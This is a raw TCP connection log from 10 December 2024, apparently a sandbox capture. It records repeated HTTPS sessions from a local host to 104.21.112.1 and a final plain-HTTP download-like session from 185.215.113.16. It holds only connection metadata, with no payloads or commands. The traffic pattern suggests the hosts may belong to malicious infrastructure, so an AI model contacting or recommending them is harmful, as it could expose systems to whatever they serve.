Dec 10, 2024 06:37:54.977917910 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:54.980653048 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:55.014750004 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.014808893 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.014821053 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.014964104 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.014981985 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.014991999 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:37:55.014996052 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.015022039 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:37:55.015103102 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:37:55.023092985 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.023217916 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.023263931 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:37:55.031450033 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.031583071 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:37:55.031631947 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:37:55.099936008 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:55.531029940 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:55.532548904 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:55.532601118 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:55.532697916 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:55.651878119 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:55.651894093 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:55.651949883 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:56.081960917 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:56.128170013 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:56.321486950 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:56.362546921 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:56.513896942 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:56.519393921 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:56.638689995 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:56.956341982 CET	49673	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:37:56.987586021 CET	49674	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:37:57.069022894 CET	443	49706	20.198.119.84	192.168.2.6
Dec 10, 2024 06:37:57.112543106 CET	49706	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:37:57.284465075 CET	49672	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:38:01.609720945 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:01.609786034 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:01.609909058 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:01.613554955 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:01.613584042 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:02.832463026 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:02.832587957 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:02.836447954 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:02.836458921 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:02.836781979 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:02.878142118 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:02.885176897 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:02.885206938 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:02.885314941 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.565716028 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.565818071 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.565876961 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.567445993 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.567471027 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.567482948 CET	49707	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.567488909 CET	443	49707	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.686115026 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:03.686137915 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:03.686206102 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:03.686880112 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:03.686887026 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:03.705796957 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.705851078 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:03.705914974 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.706788063 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:03.706804991 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:04.918324947 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:04.918411970 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:04.947752953 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:04.947784901 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:04.947994947 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:04.951226950 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:04.951246977 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:04.951292038 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:05.941265106 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:05.941390038 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:05.945749044 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:05.945756912 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:05.946014881 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:05.947709084 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:05.947771072 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:05.947776079 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:05.947923899 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:05.991333961 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:06.039664030 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.039721966 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.039753914 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.039786100 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.039802074 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.039823055 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.039836884 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.044847012 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.044900894 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.044912100 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.057852030 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.057909966 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.057921886 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.112535954 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.112550974 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.159398079 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.159409046 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.206305981 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.228507042 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.233776093 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.233849049 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.233860016 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.234006882 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.234059095 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.234220028 CET	49709	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.234232903 CET	443	49709	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.310398102 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.310431004 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.310539961 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.310868979 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:06.310879946 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:06.497172117 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:06.497268915 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:06.497351885 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:06.497628927 CET	49708	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:06.497644901 CET	443	49708	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:06.565731049 CET	49673	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:38:06.597017050 CET	49674	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:38:06.893847942 CET	49672	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:38:07.522108078 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:07.522241116 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:07.523539066 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:07.523557901 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:07.523767948 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:07.525063992 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:07.525214911 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:07.525240898 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:08.693130016 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:08.693209887 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:08.693289995 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:08.693545103 CET	49710	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:08.693559885 CET	443	49710	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:08.816802979 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:08.816849947 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:08.816927910 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:08.817298889 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:08.817312956 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:09.287883997 CET	443	49702	173.222.162.64	192.168.2.6
Dec 10, 2024 06:38:09.288124084 CET	49702	443	192.168.2.6	173.222.162.64
Dec 10, 2024 06:38:10.028616905 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:10.028704882 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:10.030165911 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:10.030179977 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:10.030422926 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:10.031825066 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:10.031963110 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:10.031991959 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:10.032042980 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:10.075337887 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:11.246877909 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:11.247013092 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:11.247088909 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:11.247147083 CET	49711	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:11.247160912 CET	443	49711	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:11.534246922 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:11.534287930 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:11.534424067 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:11.534746885 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:11.534759998 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:12.748075962 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:12.748176098 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:12.749614000 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:12.749628067 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:12.749880075 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:12.751184940 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:12.751328945 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:12.751368046 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:12.751434088 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:12.751444101 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:13.584764004 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:13.584871054 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:13.584929943 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:13.585484028 CET	49713	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:13.585496902 CET	443	49713	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:14.212496996 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:14.212541103 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:14.212603092 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:14.213222980 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:14.213236094 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:15.402440071 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:15.402493000 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:15.402595043 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:15.403115034 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:15.403129101 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:15.423233986 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:15.423386097 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:15.424592972 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:15.424602985 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:15.424803019 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:15.426002979 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:15.426083088 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:15.426088095 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:16.427654028 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:16.427747011 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:16.427802086 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:16.472445965 CET	49719	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:16.472474098 CET	443	49719	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:17.127775908 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:17.127821922 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:17.127887011 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:17.130985975 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:17.130997896 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:17.659815073 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:17.659928083 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:17.661505938 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:17.661518097 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:17.661729097 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:17.664535999 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:17.664607048 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:17.664616108 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:17.664712906 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:17.707339048 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:18.221273899 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:18.221380949 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:18.221456051 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:18.221621037 CET	49720	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:18.221642017 CET	443	49720	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:18.339946032 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.340004921 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.341713905 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.341723919 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.341948032 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.343728065 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.344933033 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.344959974 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345052004 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345074892 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345165014 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345196962 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345319033 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345345020 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345480919 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345503092 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345645905 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345676899 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.345685959 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345818996 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.345861912 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.391336918 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.391529083 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.391573906 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.391587973 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.439323902 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.439523935 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.439579964 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.439600945 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.487319946 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.487390041 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:18.535325050 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:18.584496021 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:21.954703093 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:21.954799891 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:21.954910040 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:21.955224037 CET	49726	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:21.955240965 CET	443	49726	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:21.995259047 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:21.995309114 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:21.995409966 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:21.995840073 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:21.995853901 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.206206083 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.206317902 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.209626913 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.209638119 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.209883928 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.217891932 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.217891932 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.217962027 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.929235935 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.929318905 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.929378033 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.929570913 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.929596901 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.929608107 CET	49741	443	192.168.2.6	104.21.112.1
Dec 10, 2024 06:38:23.929615021 CET	443	49741	104.21.112.1	192.168.2.6
Dec 10, 2024 06:38:23.931376934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:24.050615072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:24.050714016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:24.050901890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:24.170072079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.398715019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.398740053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.398804903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.399477005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.399518013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.399528980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.399574995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.400263071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.400310040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.400341988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.400352001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.400391102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.401041031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.401068926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.401103973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.518151045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.518213987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.518376112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.522263050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.531889915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.531902075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.531980038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.591825962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.591891050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.592058897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.595930099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.596051931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.596120119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.604291916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.604414940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.604477882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.612643003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.612751007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.612832069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.620992899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.621089935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.621186018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.629337072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.629431963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.629538059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.637650967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.637768984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.637825012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.646017075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.646133900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.646187067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.654388905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.654489994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.654546022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.663044930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.663166046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.663301945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:25.671034098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:25.721927881 CET	49747	80	192.168.2.6	185.215.113.16
